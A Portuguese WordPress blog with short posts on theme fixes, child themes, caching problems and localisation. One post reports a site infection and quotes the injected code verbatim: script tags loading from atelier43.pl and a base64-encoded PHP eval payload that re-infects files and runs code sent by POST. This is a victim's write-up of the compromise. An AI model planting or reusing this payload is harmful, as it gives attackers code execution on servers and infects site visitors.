WordPress não mostra a “Admin Bar”

Hoje depois de atualizar uma das minhas instalações de WordPress para a versão 3.1 a nova barra de admin que aparece quando estamos no site não aparecia, como é um theme feito por mim resolvi investigar o porquê.

A causa para a barra não aparecer é que não estava a implementar corretamente a class do body, para resolver este problema bastou no ficheiro em que abro a tag body, bastou adicionar a seguir à abertura da tag <body> adicionar a função do wordpress que faz echo da class adequada para ser possível a apresentação da dita barra de admin. O código a adicionar é o seguinte <?php body_class($class)?>, pelo que a declaração do body ficará <body <?php body_class($class); ?>>. E basta isto para tornar qualquer theme compatível com a nova barra de admin omnipresente.

WordPress Child Themes

Recentemente depois de actualizar um blogue para o WordPress 3.0, cliquei sem em actualizar Plugins e Temas sem me lembrar que o tema usado estava modificado. Ao actualizar as modificações foram perdidas”¦ para evitar o mesmo erro no futuro decidi criar um Child Theme, e que é um Child Theme???

Um Child Theme é um Theme que deriva de outro Theme, ou seja no Child Theme que podemos chamar Tema Derivado implementamos apenas as modificações ao tema original, se por exemplo quiser-mos alterar algo no ficheiro single.php alteramos apenas esse ficheiro ficando o original do tema intacto, viabilizando assim futuras actualizações, sem comprometer as alterações que fizemos.

A estrutura de um Child Theme é bastante simples, primeiro criamos um directório para alojar os ficheiros modificados, fazemos as alterações que pretendemos, aconselho a copiar o ficheiro original do Theme Parent e fazer ai as alterações. Depois de termos as alterações pretendidas falta apenas criar o ficheiro onde o WordPress vai ler as informações do Tema esse ficheiro tem o nome de Style.css e vai sobrepor o Style.css do tema original á semelhança do que acontece com os outros ficheiros que colocar-mos no nosso Child Theme, este Style.css tem uma particularidade em relação ao original, que é uma tag que informa o WordPress de qual é o tema em que nos baseamos, esta tag é a tag Template. Deixo a seguir o Style.css para um Child Theme baseado no novo tema por defeito do WordPress que é o “Twenty Ten”:

/*
Theme Name:     Nome do Child Theme
Theme URI:      http: //UmUrlQualquer.com/
Description:    Descrição do Child Theme 
Author:         O seu nome
Author URI:     http: //OutroUrlQualquer.com/
Template:       twentyten
Version:        0.0.1
*/

 

Se quisermos usar o css do tema original basta fazer um import do style.css original, que no caso do tema Twenty Ten será:

@import url("../twentyten/style.css");

Podemos ainda no style.css modificar o css original, basta criar os elementos com o mesmo nome e adicionar as nossas personalizações.

Depois do tema criado é só fazer upload para a pasta “wp-content/themes/” e no painel de administração do blogue activar o mesmo. E os problemas com as actualizações do tema principal deixam de ser um  problema.

WordPress comentários muito lentos

De há uns tempos para cá submeter um comentário no meu blogue quase sempre resultava de um timeout, embora o mesmo fosse inserido, ás vezes o timeout demorava quase 1 minuto.

Depois de andar ás voltas a toda a instalação e de ter reinstalado a mesma várias vezes, cheguei á conclusão que a culpa era da configuração de um plugin. O nome do Plugin é “W3 Total Cache”, este plugin faz cache de várias “coisas” do WordPress uma delas é o “database cache”, que faz cache dos queries do WordPress ao MySQL.
Á primeira tentativa para desactivar recebi também um timeout, resolvi investigar, era a pasta “dbcache” do plugin que além de milhares de pastas e ficheiros, tinha um tamanho absurdo para testar renomeie a pasta e criei outra com o mesmo nome, assim consegui desactivar a parte da cache da Base de Dados do W3 Total Cache, com o plugin desactivado o blogue deixou de funcionar devido a uma limitação do meu host, que não deixa um utilizador do MySQL ter mais do que 10 ligações simultaneas ao servidor de Base de Dados.
Baixei então para um valor muito pequeno (120 segundos) a validade da cache dos queries e por agora parece que está tudo a funcionar, alterei também o “Garbage collection interval” para 180 segundos.

Embora seja um plugin que aconselho devido a acelarar bastante a apresentação do site, fica aqui a recomendação!!!

Aviso: Visitar este site poderá danificar o seu computador!

PrtSc Aviso do Chrome

Embora o Chrome não seja o browser que uso no dia a dia, ganhou mais um ponto na minha consideração. É o browser que arranca mais rapidamente no meu pc, dai quando preciso se ir á net e não posso esperar que abra outro browser abra utilizo-o. Hoje ao abrir recebi um erro que está na imagem:

O Web site em antoniocampos.net contém elementos do site atelier43.pl, o qual parece alojar software maligno ““ ou seja, software que pode danificar o seu computador ou funcionar sem o seu consentimento. A mera visita a um site que contenha software maligno pode infectar o seu computador.

Para obter informações mais detalhadas sobre os problemas com estes elementos, visite a Página de diagnóstico Navegação segura no Google para atelier43.pl.

 

depois de olha para o código fonte vi que de alguma forma foi injectado código no ficheiro original, o código malicioso inserido foi o seguinte:

<script src=http://atelier43.pl/images/gifimg.php ></script>

Logo a seguir ao fecho da tag </head>, visitei outros dominios todos alojados no mesmo sitio e todos os dominios tinham o mesmo sintoma, depois de uma analise cuidada reparei que havia vários ficheiros infectados pela injecção, conforme a extenssão do ficheiro tinham código diferente.

Nos ficheiros de javascript (.js):

document.write(‘<script src=http://atelier43.pl/images/gifimg.php ><\/script>’);

Nos ficheiros html aparecia o código já descrito em cima e nos ficheiros .php o seguinte código:

<?php eval(base64_decode(‘aWYoIWZ1bmN0aW9uX2V4aXN0cygncHEzazcnKSl7ZnVuY3Rpb24gcHEzazcoJHMpe2lmKH

ByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWF

jaCgkYVswXWFzJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRj

aCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF

0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFx

iIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2

RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRja

F9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXM

nLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihwcmVnX21hdGNoKCcjW1wuIF13aWR0aF

xzKj1ccypbXCciXT8wKlswLTldW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc

3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycp

LicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlK

CdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMkYwWld4cFpYSTBNeTV3YkM5cGJXRm5aW

E12WjJsbWFXMW5MbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCR

zLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHM

sMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24

gcHEzazcyKCRhLCRiLCRjLCRkKXtnbG9iYWwkcHEzazcxOyRzPWFycmF5KCk7aWYoZnVuY3R

pb25fZXhpc3RzKCRwcTNrNzEpKWNhbGxfdXNlcl9mdW5jKCRwcTNrNzEsJGEsJGIsJGMsJGQ

pO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KWlmKCgkYT0kdlsnbmFtZSddKT09J3B

xM2s3JylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1h

cnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bn

QoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9

jbGVhbigpO31vYl9zdGFydCgncHEzazcnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2J

fc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kcHEzazdsPSgoJGE9QHNldF9lcnJ

vcl9oYW5kbGVyKCdwcTNrNzInKSkhPSdwcTNrNzInKT8kYTowO2V2YWwoYmFzZTY0X2RlY2

9kZSgkX1BPU1RbJ2UnXSkpOw==’)); ?>

Este é o código responsavel por infectar os ficheiros se fizerem um base64_decode e analisarem o código aparece a forma como os ficheiros foram infectados, mas não explica como o código “entrou” pela primeira vez.

Além das infecções referidas foram craidos vários ficheiros, com vários nomes que aguardam o POST código php e o executam no servidor, deixando assim todos os ficheiros a que o utilizador que está a correr o site vulneraveis.

Depois de várias pesquisas no Google tudo aponta para uma falha no WordPress embora não tenha descoberto em que versão, penso que deverá ser na 2.8.6 pois nessa conta de alojamento tenho 3 instalações de wordpress todas actualizadas para a 2.8.6. Segundo a sabedoria do Google não fui o primeiro a ser infectado por esta praga, embora dos artigos que encontrei no google não sejam os mesmos, a infecção e a presença de código malicioso é semelhante á que me aconteceu.

Por isso aconselho todos os que tem sites em WordPress que verifiquem se estão infectados.

Estou a descarregar todos os ficheiros que tenho alojados neste servidor para analisar mais atentamente o que aconteceu, creio que não vou chegar a nenhuma conclusão de como fui infectado uma vez que não tenho acesso aos logs do apache, mas no minimo vou ter que limpar todos os ficheiros.

Uma das soluções seria apagar todos os ficheiros da instalação e colar uma versão nova de todos os ficheiros, mas isso fará com que todas as costumizações de temas e plugins se percam, e obrigaria á instalação de todos os plugins novamente.

Mal haja desolvimentos sobre a solução (pelo menos da limpeza dos ficheiros) crio um novo post com os mesmos.

Alterar WordPress Inglês para Português

Se tem um blogue em WordPress e está em inglês e o quer converter facilmente para a versão Portuguesa do WordPress basta editar o ficheiro “wp-config.php” que está na pasta principal da instalação do WordPress e alterar a linha:

define (‘WPLANG’, ”);

para:

define (‘WPLANG’, ‘pt_PT’);

No próximo login como admin ou utilizador com permissões de administração, irá surgir no  topo uma notificação para um upgrade, basta efectuar o upgrade e o WordPress passa a estar em inglês a passa em Português.

Se não aparecer a mensagem basta ir ao menu “Tools” na sidebar do painel de administração e clicar em “upgrade” e depois fazer “Re-install Automatically” depois de concluido surge a dita notificação de upgrade.

Experimentei em dois blogues e num deles só funcionou após ter efectuado o segundo passo.